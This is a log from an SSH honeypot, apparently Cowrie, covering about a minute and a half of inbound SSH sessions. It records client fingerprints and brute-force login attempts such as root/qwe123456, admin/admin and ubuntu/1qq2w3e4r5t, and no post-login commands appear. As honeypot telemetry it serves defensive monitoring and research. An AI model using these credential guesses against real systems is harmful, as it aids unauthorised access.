{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:10.131674Z","src_ip":"101.47.158.137","session":"92f00652e494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:11.222762Z","src_ip":"122.168.114.167","session":"6e738c05f86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44664,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0c4fae5e987","protocol":"ssh","message":"New connection: 122.168.114.167:44664 (159.203.135.109:22) [session: d0c4fae5e987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:14.127918Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:15.444886Z","src_ip":"101.47.158.137","session":"92f00652e494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:15.680593Z","src_ip":"101.47.158.137","session":"92f00652e494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":9854,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7f2a4ce881f","protocol":"ssh","message":"New connection: 130.12.180.51:9854 (159.203.135.109:22) [session: c7f2a4ce881f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:15.771460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:15.776062Z","src_ip":"130.12.180.51","session":"c7f2a4ce881f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:15.858264Z","src_ip":"130.12.180.51","session":"c7f2a4ce881f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:16.104723Z","src_ip":"130.12.180.51","session":"c7f2a4ce881f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:16.625014Z","src_ip":"130.12.180.51","session":"c7f2a4ce881f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.8","message":"Connection lost after 43.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:19.533761Z","src_ip":"122.168.114.167","session":"6e738c05f86c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:21.267863Z","src_ip":"122.168.114.167","session":"d0c4fae5e987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:21.271371Z","src_ip":"122.168.114.167","session":"d0c4fae5e987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":36198,"dst_ip":"159.203.135.109","dst_port":22,"session":"0681c67e47be","protocol":"ssh","message":"New connection: 113.163.156.190:36198 (159.203.135.109:22) [session: 0681c67e47be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:38.094807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:38.099292Z","src_ip":"113.163.156.190","session":"0681c67e47be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:38.351373Z","src_ip":"113.163.156.190","session":"0681c67e47be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password101","message":"login attempt [root/password101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:39.408283Z","src_ip":"113.163.156.190","session":"0681c67e47be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:40.662536Z","src_ip":"113.163.156.190","session":"0681c67e47be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":62781,"dst_ip":"10.17.0.5","dst_port":22,"session":"894bcef6bfb4","protocol":"ssh","message":"New connection: 76.127.61.251:62781 (10.17.0.5:22) [session: 894bcef6bfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:46.655994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:46.660291Z","src_ip":"76.127.61.251","session":"894bcef6bfb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:46.715422Z","src_ip":"76.127.61.251","session":"894bcef6bfb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qq2w3e4r5t","message":"login attempt [ubuntu/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:46.969727Z","src_ip":"76.127.61.251","session":"894bcef6bfb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:48.027561Z","src_ip":"76.127.61.251","session":"894bcef6bfb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:55.961441Z","src_ip":"122.168.114.167","session":"d0c4fae5e987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47082,"dst_ip":"159.203.135.109","dst_port":22,"session":"32154ef3d666","protocol":"ssh","message":"New connection: 122.168.114.167:47082 (159.203.135.109:22) [session: 32154ef3d666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:59.795865Z"}
{"eventid":"cowrie.session.closed","duration":"50.0","message":"Connection lost after 50.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:04.096041Z","src_ip":"122.168.114.167","session":"d0c4fae5e987","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:06.547478Z","src_ip":"122.168.114.167","session":"32154ef3d666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:06.551230Z","src_ip":"122.168.114.167","session":"32154ef3d666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:24.764557Z","src_ip":"122.168.114.167","session":"32154ef3d666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.5","message":"Connection lost after 30.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:30.252836Z","src_ip":"122.168.114.167","session":"32154ef3d666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":59108,"dst_ip":"10.17.0.5","dst_port":22,"session":"51b422ea8b83","protocol":"ssh","message":"New connection: 76.127.61.251:59108 (10.17.0.5:22) [session: 51b422ea8b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:37.413109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:37.417461Z","src_ip":"76.127.61.251","session":"51b422ea8b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:37.473273Z","src_ip":"76.127.61.251","session":"51b422ea8b83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE123","message":"login attempt [root/QWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:37.732963Z","src_ip":"76.127.61.251","session":"51b422ea8b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:38.791314Z","src_ip":"76.127.61.251","session":"51b422ea8b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49494,"dst_ip":"159.203.135.109","dst_port":22,"session":"260a1b5cce49","protocol":"ssh","message":"New connection: 122.168.114.167:49494 (159.203.135.109:22) [session: 260a1b5cce49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:41.875097Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.60.136.40","src_port":33550,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c1cc2422d10","protocol":"ssh","message":"New connection: 123.60.136.40:33550 (10.17.0.5:22) [session: 3c1cc2422d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:42.438027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:42.444696Z","src_ip":"123.60.136.40","session":"3c1cc2422d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:42.678486Z","src_ip":"123.60.136.40","session":"3c1cc2422d10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3srv","message":"login attempt [ts3server/ts3srv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:43.636624Z","src_ip":"123.60.136.40","session":"3c1cc2422d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":49860,"dst_ip":"159.203.135.109","dst_port":22,"session":"90ce5b49a1e6","protocol":"ssh","message":"New connection: 113.163.156.190:49860 (159.203.135.109:22) [session: 90ce5b49a1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:44.620681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:44.624691Z","src_ip":"113.163.156.190","session":"90ce5b49a1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:09:44.869789Z","src_ip":"123.60.136.40","session":"3c1cc2422d10","protocol":"ssh"}
